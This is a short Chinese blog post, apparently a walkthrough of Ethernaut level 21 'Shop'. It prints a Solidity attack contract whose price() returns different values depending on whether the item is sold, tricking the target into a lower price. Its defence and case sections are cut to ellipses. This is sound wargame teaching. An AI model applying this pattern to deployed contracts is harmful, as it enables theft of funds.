# 智能合约黑客攻击 Ethernaut:  
 21. Shop

**Published by:** [Leek DEV](https://paragraph.com/@leekdev/)
**Published on:** 2023-09-28
**URL:** https://paragraph.com/@leekdev/ethernaut-21-shop

## Content

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将衣服的价格修改的比较小。Hack思路contract ShopHack { Shop public exploitInst; constructor(address _target) { exploitInst = Shop(_target); } function attack() public { exploitInst.buy(); } function price() external view returns (uint256) { return exploitInst.isSold() ? 1 : 100; } } Hack案例…防范思路…参考资料….

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